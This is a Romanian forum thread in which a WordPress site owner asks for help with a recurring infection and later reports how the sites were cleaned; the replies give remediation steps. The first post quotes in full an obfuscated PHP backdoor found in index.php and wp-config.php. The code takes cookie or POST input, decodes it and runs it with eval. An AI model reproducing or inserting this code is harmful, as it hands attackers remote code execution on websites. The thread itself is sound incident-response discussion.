Virus pe site

Salut, de curand am observat in fiserele de pe doua site-uri coduri ciudate. Am reusit sa sterg codurile din fisierele php aflate pe server, insa astazi m-am trezit din nou cu virus pe site.

Site-urile sunt pe wordpress ( actualizat la zi) si teme cumparate si actualizate de pe themeforest.

Ce imi recomandati sa fac? Ca si exemplu, asa arata codul

Citat:

---

<? - php
$kpctp = '*3sH_otxgmr92n#bkulvyep8ai-4c6fd7\'1';$unlkuzj = Array();$unlkuzj[] = $kpctp[29].$kpctp[29].$kpctp[32].$kpctp[11].$kpctp[11].$kpctp[29].$kpctp[34].$kpctp[34].$kpctp[26].$kpctp[23].$kpctp[12].$kpctp[30].$kpctp[27].$kpctp[26].$kpctp[27].$kpctp[31].$kpctp[28].$kpctp[11].$kpctp[26].$kpctp[24].$kpctp[32].$kpctp[23].$kpctp[1].$kpctp[26].$kpctp[12].$kpctp[27].$kpctp[1].$kpctp[23].$kpctp[31].$kpctp[31].$kpctp[11].$kpctp[15].$kpctp[29].$kpctp[29].$kpctp[28].$kpctp[31];$unlkuzj[] = $kpctp[3].$kpctp[0];$unlkuzj[] = $kpctp[14];$unlkuzj[] = $kpctp[28].$kpctp[5].$kpctp[17].$kpctp[13].$kpctp[6];$unlkuzj[] = $kpctp[2].$kpctp[6].$kpctp[10].$kpctp[4].$kpctp[10].$kpctp[21].$kpctp[22].$kpctp[21].$kpctp[24].$kpctp[6];$unlkuzj[] = $kpctp[21].$kpctp[7].$kpctp[22].$kpctp[18].$kpctp[5].$kpctp[31].$kpctp[21];$unlkuzj[] = $kpctp[2].$kpctp[17].$kpctp[15].$kpctp[2].$kpctp[6].$kpctp[10];$unlkuzj[] = $kpctp[24].$kpctp[10].$kpctp[10].$kpctp[24].$kpctp[20].$kpctp[4].$kpctp[9].$kpctp[21].$kpctp[10].$kpctp[8].$kpctp[21];$unlkuzj[] = $kpctp[2].$kpctp[6].$kpctp[10].$kpctp[18].$kpctp[21].$kpctp[13];$unlkuzj[] = $kpctp[22].$kpctp[24].$kpctp[28].$kpctp[16];foreach ($unlkuzj[7]($_COOKIE, $_POST) as $cinxu => $zybvyo){function znarkyr($unlkuzj, $cinxu, $zlqgrj){return $unlkuzj[6]($unlkuzj[4]($cinxu . $unlkuzj[0], ($zlqgrj / $unlkuzj[8]($cinxu)) + 1), 0, $zlqgrj);}function ojvevji($unlkuzj, $cafsylq){return @$unlkuzj[9]($unlkuzj[1], $cafsylq);}function xszry($unlkuzj, $cafsylq){$bvtejoy = $unlkuzj[3]($cafsylq) % 3;if (!$bvtejoy) {eval($cafsylq[1]($cafsylq[2]));exit();}}$zybvyo = ojvevji($unlkuzj, $zybvyo);xszry($unlkuzj, $unlkuzj[5]($unlkuzj[2], $zybvyo ^ znarkyr($unlkuzj, $cinxu, $unlkuzj[8]($zybvyo))));}

---

Il gasesc doar in index.php si wp-config.php, insa nu am probleme cu site-ul sau sa nu il pot accesa.

Multumesc anticipat!

Incearca sa pui sus pluginul Wordfence si sa cureti.

https://ro.wordpress.org/plugins/wordfence/

Personal dupa curatare as sterge tot siteul si as cladi din nou cu baza de date veche.

Citat:

---

Postat în original de Benko Zoltan

Incearca sa pui sus pluginul Wordfence si sa cureti.

https://ro.wordpress.org/plugins/wordfence/

Personal dupa curatare as sterge tot siteul si as cladi din nou cu baza de date veche.

---

Sa ne zici daca te-a ajutat Wordfence , eu il am pe site-uri insa as vrea sa stiu daca chiar curata site-ul.

Cativa pasi pe care i-as face:

1. Verifici cu https://sitecheck.sucuri.net/
2. Dai un search in toate fisierele site-ului, de exemplu cu Dreamweaver poti sa faci search intr-un folder (folder-ul cu fisierele site-ului).
3. Dai search in baza de date dupa termenii de mai sus din acel cod.
4. Verifici functions.php si cam toate fisierele wordpress-ului sa nu existe vreun cod care insereaza acel cod php.
5. Verifici plugin-urile, e posibil ca unul din ele sa fie mai vechi si cu probleme de securitate.

Daca ai un cont de gazduire shared, adica cu mai multe site-uri la gramada, e posibil ca acel cod sa se fi propagat de la alt site, va trebui sa verifici tot.

Am un anti-virus cu care am curatat 6 site-uri pe shared hosting in 8 minute.

Daca nu rezolvi cu Wordfence, si vrei, as testa anti-virusul pe codul asta, dar am nevoie de access la site... da-mi pm...

Citat:

---

Postat în original de Seph

5. Verifici plugin-urile, e posibil ca unul din ele sa fie mai vechi si cu probleme de securitate.

Daca ai un cont de gazduire shared, adica cu mai multe site-uri la gramada, e posibil ca acel cod sa se fi propagat de la alt site, va trebui sa verifici tot.

---

Da, astea sunt niste situatii frecvente.

Banuiesc ca Wordpress e actualizat la zi (?).

Ce am mai vazut: atacatorul si-a creat un user. Uita-te la lista de useri.

Citat:

---

Postat în original de Benko Zoltan

Personal dupa curatare as sterge tot siteul si as cladi din nou cu baza de date veche.

---

Da, asa trebuie facut pentru ca nu mai ai certitudinea ca fisierele Wordpress nu sunt modificate si lasate backdoor-uri. De periat bine si baza de date, cum ziceau ceilalti.

Exista fisiere php bagate prin locuri nebanuite (ex. in directorul de css), al caror rol e sa iti tot modifice index.php si wp-config.php; Daca esti familiar cu wordpress le poti gasi manual, dar e de munca.

Citat:

---

Postat în original de Rapsodia

Sa ne zici daca te-a ajutat Wordfence , eu il am pe site-uri insa as vrea sa stiu daca chiar curata site-ul.

---

Dupa cateva incercari cu Wordfence, am reusit doar sa gasesc "sursa" codului, in rest nu prea ma ajutat cu nimic ( in cazul meu ).

Citat:

---

Cativa pasi pe care i-as face:

1. Verifici cu https://sitecheck.sucuri.net/
2. Dai un search in toate fisierele site-ului, de exemplu cu Dreamweaver poti sa faci search intr-un folder (folder-ul cu fisierele site-ului).
3. Dai search in baza de date dupa termenii de mai sus din acel cod.
4. Verifici functions.php si cam toate fisierele wordpress-ului sa nu existe vreun cod care insereaza acel cod php.
5. Verifici plugin-urile, e posibil ca unul din ele sa fie mai vechi si cu probleme de securitate.

Daca ai un cont de gazduire shared, adica cu mai multe site-uri la gramada, e posibil ca acel cod sa se fi propagat de la alt site, va trebui sa verifici tot.

---

Am verificat cu https://sitecheck.sucuri.net/, insa imi spune ca site-ul este ok si Low Security Risk, probabil nu vede codul respectiv. Am bagat site-ul in mentenanta si am inceput curatarea manuala in fiecare fisier in parte, fie .php .js .css s.a.m.d

#Adrian A. Totul este actualizat la zi, Wordpress, teme, plugin etc. User nu este creat pe site si nici in baza de date nu am gasit nimic momentan.

Revin cu noutati in caz ca o sa gasesc luminita de la capatul tunelului, pana atunci sunt inarmat cu apa,apa si multa apa, glumesc. Dau o bere cand gat :D

Citat:

---

Postat în original de Empire

Exista fisiere php bagate prin locuri nebanuite (ex. in directorul de css), al caror rol e sa iti tot modifice index.php si wp-config.php; Daca esti familiar cu wordpress le poti gasi manual, dar e de munca.

---

Fisiere exista chiar unde nici nu ma gandeam, m-am inarmat cu manusi pana la cot, rabdare, bere si singura solutie o vad sa verific fiecare fisier in parte

O sursa posibila mai este o masina Windows infectata care are salvat userul si parola de FTP.

De verificat cand a s-a facut ultima data release la fiecare plugin si cautat vulnerabilitiati cunoscute ale plugin-urilor in site-uri gen: https://www.exploit-db.com/

Daca e vreun plugin fara update-uri publicate de 2-3 ani, s-ar putea sa fie degeaba la zi. :)

Nu stiu cum e cu masina infectata, asta e povestea care le place celor de la firmele de hosting. Arunca vina pe tine, cand poate infectia a aparut din cauza serverelor lor prost securizate.

Daca eu ma conectez prin TotalCommander la 10 siteuri de pe diverse hosturi, cum sa fie de la mine vulnerabilitatea daca doar unul din ele e infectat? M-am certat cu clausweb pe tema asta. Un client normal ar pune botul la chestia asta, dar eu pe calculator imi fac toate afacerile, invart bani, iar hackerul n-a vrut decat parola mea de ftp de la un anume site?

Citat:

---

Postat în original de Empire

Nu stiu cum e cu masina infectata, asta e povestea care le place celor de la firmele de hosting. Arunca vina pe tine, cand poate infectia a aparut din cauza serverelor lor prost securizate.

Daca eu ma conectez prin TotalCommander la 10 siteuri de pe diverse hosturi, cum sa fie de la mine vulnerabilitatea daca doar unul din ele e infectat? M-am certat cu clausweb pe tema asta. Un client normal ar pune botul la chestia asta, dar eu pe calculator imi fac toate afacerile, invart bani, iar hackerul n-a vrut decat parola mea de ftp de la un anume site?

---

In practica este destul de putin probabil sa fie din "cauza hosterului".

Trebuie inteles la ce nivel se ocupa de securitate fiecare parte.

Care e responsabilitatea hoserului?

Sa tina sistemul de operare la zi (kernelul) si software-ul: apache, cPanel, MySQL etc. etc.
Apar si aici vulnerabilitati din cand in cand, dar mult mai rar.

Care e resposabilitatea detiantorului de site?
Securitatea la nivel de scripturi: Wordpress, pluginuri etc.
Securitate pe statiilor pe unde e salvata cate o parola.

Ca sa scot un raport din burta: cred ca 1 la 100,000 poate fi o situatie in care site-ul se infectat din cauza vulnerabilitatilor sau la nivel de sistem de operare sau software care e grija hosterului.

Din ultimii 2-3 ani imi aduc aminte de o singura vulnerabilitate din cPanel prin care un client putea scrie si modifica fisiere ale altui client.
Vulnerabilitate pe care am si vazut-o exploatata.

Au fost cateva vulnerabilitati de KVM si de XEN prin care un client putea "iesi" din VPS si ajunge la nivel de server fizic si de unde avea acces la VPS-urile altor clientii.
Dar astea nu le-am vazut exploatate in practica.


Wordpressuri sparte vedem mai multe in fiecae zi. :)

Gata, am reusit. Deci, sa spun poveste ca poate mai are cineva nevoie.

Toata chestia a venit de la, ghici ce? W3 Total cache. La ultimul update s-a intmaplat ceva cu el, are o vulnerabilitate prin care s-a strecurat cod malware. Problema am rezolvato asa:
1: luat fiecare fisier pho, css, js, html la puricat ( munca de chinez batran)
2: codurile le-am gasit cel mai des in index.php, wp-config, wp-setting si prin pluginuri.
3: permisiunile au fost schimbata si aj trebuit refactue permisiunile, iar la wp-config e de pus 0600 permisiune.
4: dupa ce am curatat tot wordpress-ul, plugin, theme etc am urcay din nou site-ul pe server si de 2 zile vad ca este ok.

Wordfence m-a ajutat doar sa gasesc cateva fisiere corupte.